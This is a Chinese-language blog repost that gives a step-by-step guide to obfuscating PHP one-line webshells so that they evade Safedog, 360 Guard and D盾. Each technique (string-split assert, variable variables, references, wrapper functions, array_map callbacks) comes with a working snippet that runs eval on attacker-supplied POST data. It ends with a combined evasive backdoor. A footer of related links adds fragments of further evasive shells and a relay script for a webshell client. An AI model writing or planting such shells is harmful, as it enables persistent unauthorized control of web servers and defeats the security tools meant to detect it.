PHP一句话过狗、卫士、D盾等免杀思路!
原文转载于:http://www.legendsec.org/1701.html
觉得写得还算蛮科普的。
00x1.关键字拆分。
比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样。
总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法。
00x2.可变变量、引用、可变函数。
可变变量 比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
测试结果:
总结:这种方法对狗等WAF可以绕过哦~但是对于D盾这种多规则的是无效的!
引用 比如$a=$_POST[‘x’];$b=&$a;@eval($b);
测试结果: 
总结:这种方法与上一种方法类似。
可变函数 比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
测试结果: 
总结:这种方法对于狗、3卫士、D盾之类的均没有作用哦~
00x3.添加其他代码。
添加其他代码 比如 if(empty($a))
{
$a=$_POST[‘x’];
}
@eval($a);
测试结果: 
总结:这种方法比较适合脑洞比较大的小伙伴们~
00x4.函数替换。
使用其他函数,比如eval可以使用assert替换。
总结:这种方法适合eval函数被禁用时使用哦~
00x5.封装到新的函数中。
新定义一个函数,使其封装到新函数中。
function test($a){ //定义一个名为test的函数,并使用$a接受参数
eval($a);
}
test($_POST[‘x’]);
测试结果: 
总结:这种方法适合有PHP基础的人哦,姿势风骚~不怕不过!
00x6.函数回调。
使用其他函数进行调用,并执行。
如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
测试结果: 
总结:这种方法适合有PHP基础的人哦~这种方法绝对过WAF哦~
00x7.利用各种方法的特性写出过WAF的一句话。
<?php
function test($a){ //利用所学的封装函数
if (empty($a)){ //利用所学的添加其他代码
$a=”echo ‘QQ:xxxxxxx’;”; //使用这句代码扰乱D盾的判断
}
@eval($a);
}
@test($_POST[‘x’]);
?>
测试结果: 
THE END
PHP一句话过狗、卫士、D盾等免杀思路!的更多相关文章
- 免杀PHP一句话一枚
免杀PHP一句话shell,利用随机异或免杀D盾,免杀安全狗护卫神等 <?php class VONE { function HALB() { $rlf = 'B' ^ "\x23&q ...
- PHP一句话简单免杀
PHP一句话简单免杀 原型 几种已经开源的免杀思路 拆解合并 <?php $ch = explode(".","hello.ev.world.a.l"); ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- PHP一句话木马Webshell变形免杀总结
0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不 ...
- 免杀ASP一句话
<% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...
- 关于php一句话免杀的分析<转载>
一开始想这样: <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert 这个应该算没有什 ...
- php中转菜刀脚本过狗免杀
<?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...
- 一句话木马:PHP篇
珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
随机推荐
- asp.net ListBox 移除操作的思路
ArrayList arrRight = new ArrayList(); protected void ImageButton1_Click(object sender, ImageClickEve ...
- Win8.1微软官方最终正式版ISO镜像文件
Win8.1微软官方最终正式版ISO镜像文件 经过预览版,测试版.开发版本等几个乱七八糟的版本后,2013年10月17日,微软终于如约的发布了Win8.1最终正式版. Win8.1和win8的区别 1 ...
- Java I/O流体系
- 利用Ramdisk为Firefox 加速
用Firefox的人可能会羡慕Chrome的速度,但是又不舍得丢弃Firefox.Firefox的加速,可能通过一系列的方法,例如用fasterfox扩 展.但利用虚拟内存盘 Ramdisk ,将将内 ...
- Robot Framework--10 万能的evaluate
转自:http://blog.csdn.net/tulituqi/article/details/10124559 这一讲我们重点来介绍一下一个常用的关键字evaluate. 我觉得这个关键字在RF里 ...
- ASP.NET Padding Oracle Attack EXP
#!/usr/bin/perl## PadBuster v0.3 - Automated script for performing Padding Oracle attacks# Brian Hol ...
- MYSQL调优
4核8G内存配置文件 explain SQL 查看SQL索引使用情况. my.cnf skip-external-locking skip-name-resolve back_log= key_buf ...
- Cool Sites
尽快学习完成这个网页 https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/ https://msdn.mic ...
- web.config中customErrors与httpErrors的区别
打开IIS,我们发现会有两个处理错误页的地方,见下图: 进行不同的设置之后,我们发现设定结果会反应在web.config: .NET Error Pages设定被写入system.web/custom ...
- Hibernate uniqueResult方法的使用
以前写代码,总免不了编写登陆部分.在获取user的时候,只可能返回一个user实例,或者为null.以前使用以下方法实现.public User get(String id){ Sessio ...